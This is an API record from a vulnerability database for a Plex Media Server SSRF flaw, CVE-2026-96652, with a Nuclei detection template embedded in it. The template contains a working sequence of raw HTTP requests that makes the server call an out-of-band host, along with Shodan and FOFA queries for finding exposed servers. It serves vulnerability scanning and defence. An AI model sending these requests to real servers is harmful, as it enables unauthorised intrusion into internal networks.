{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2026-96652/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2026-96652/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2026-96652/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2026-96652/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2026-96652/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2026-96652/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2026-96652"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2026-96652"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2026/CVE-2026-96652.yaml",
      "nuclei_template_severity": "medium",
      "nuclei_template_yaml": "id: CVE-2026-96652\n\ninfo:\n  name: Plex Media Server < 1.43.3.10861 - Unauthenticated SSRF via Companion Protocol (plex2shell)\n  author: 0x_Akoko,pdteam,alex700\n  severity: medium\n  description: |\n    Plex Media Server < 1.43.3.10861 contains a server side request forgery caused by improper validation of the 'protocol' parameter in /player/timeline, letting attackers with any X-Plex-Token value force the server to POST to arbitrary destinations, exploit requires any X-Plex-Token value.\n  impact: |\n    Attackers can make the server send arbitrary POST requests to attacker-controlled destinations, potentially leading to internal network attacks or data exfiltration.\n  remediation: |\n    Update to version 1.43.3.10861 or later.\n  reference:\n    - https://zmain.info/blog/plex2shell\n    - https://github.com/gmh5225/plex2shell\n    - https://www.cve.org/CVERecord?id=CVE-2026-96652\n    - https://raw.githubusercontent.com/cisagov/CSAF/develop/csaf_files/IT/white/2026/va-26-266-01.json\n    - https://github.com/advisories/GHSA-5p7w-r379-3c2m\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N\n    cvss-score: 4.3\n    cve-id: CVE-2026-96652\n    epss-score: 0.11886\n    epss-percentile: 0.96114\n    cwe-id: CWE-918\n  metadata:\n    verified: true\n    max-request: 4\n    vendor: plex\n    product: plex_media_server\n    shodan-query: port:32400 \"X-Plex-Protocol\"\n    fofa-query: port=\"32400\" && header=\"X-Plex-Protocol\"\n  tags: cve,cve2026,plex,ssrf,oob,unauth,plex2shell,kev,vkev\n\nvariables:\n  cid: \"{{rand_text_alpha(10)}}\"\n  tok: \"{{rand_text_alpha(12)}}\"\n\nflow: |\n  (function() {\n    if (!http(1)) return false;\n    var ver = template[\"plex_version\"];\n    if (!ver) return false;\n    var p = ver.split(/[.\\-]/);\n    if (p.length < 4) return false;\n    var ma = +p[0], mi = +p[1], pa = +p[2], build = +p[3];\n    var vuln = (ma < 1) ||\n               (ma === 1 && mi < 43) ||\n               (ma === 1 && mi === 43 && pa < 3) ||\n               (ma === 1 && mi === 43 && pa === 3 && build < 10861);\n    if (!vuln) return false;\n    try { http(2); } catch (e) {}\n    if (!http(3)) return false;\n    return http(4);\n  })();\n\nhttp:\n  - raw:\n      - |\n        GET /identity HTTP/1.1\n        Host: {{Hostname}}\n        Accept: */*\n        Connection: close\n\n    extractors:\n      - type: regex\n        name: plex_version\n        internal: true\n        part: body\n        group: 1\n        regex:\n          - '<MediaContainer[^>]+\\sversion=\"([0-9]+\\.[0-9]+\\.[0-9]+\\.[0-9]+)'\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'status_code == 200'\n          - 'contains_all(body, \"MediaContainer\", \"machineIdentifier\")'\n        condition: and\n        internal: true\n\n  - raw:\n      - |\n        @timeout: 3s\n        GET /player/proxy/poll?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Client-Identifier={{cid}} HTTP/1.1\n        Host: {{Hostname}}\n        X-Plex-Token: {{tok}}\n        X-Plex-Client-Identifier: {{cid}}\n        X-Plex-Platform: poc\n        X-Plex-Platform-Version: 1\n        X-Plex-Product: poc\n        X-Plex-Version: 1\n        X-Plex-Device: poc\n        X-Plex-Device-Name: poc\n        X-Plex-Model: poc\n        Accept: */*\n        Connection: close\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'true'\n        internal: true\n\n  - raw:\n      - |\n        GET /player/timeline/subscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&commandID=1&X-Plex-Target-Client-Identifier={{cid}}&protocol=http%3A%2F%2F{{interactsh-url}}&port=80 HTTP/1.1\n        Host: {{Hostname}}\n        X-Plex-Token: {{tok}}\n        X-Plex-Client-Identifier: {{cid}}\n        X-Plex-Platform: poc\n        X-Plex-Platform-Version: 1\n        X-Plex-Product: poc\n        X-Plex-Version: 1\n        X-Plex-Device: poc\n        X-Plex-Device-Name: poc\n        X-Plex-Model: poc\n        Accept: */*\n        Connection: close\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'true'\n        internal: true\n\n  - raw:\n      - |\n        GET /player/timeline/unsubscribe?deviceClass=pc&protocolCapabilities=playback&protocolVersion=1&X-Plex-Target-Client-Identifier={{cid}} HTTP/1.1\n        Host: {{Hostname}}\n        X-Plex-Token: {{tok}}\n        X-Plex-Client-Identifier: {{cid}}\n        X-Plex-Platform: poc\n        X-Plex-Platform-Version: 1\n        X-Plex-Product: poc\n        X-Plex-Version: 1\n        X-Plex-Device: poc\n        X-Plex-Device-Name: poc\n        X-Plex-Model: poc\n        Accept: */*\n        Connection: close\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains_any(interactsh_protocol, \"http\", \"dns\")'\n# digest: 4b0a00483046022100d40a496663054a35f8fb67c33dd51a0b35f8b4e871e9332894e4ca11cbc8c6c7022100e837819f4017ffc172e3be1a62622cd040b2f4d65081f3128964661d100bdc01:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2026-96652"
}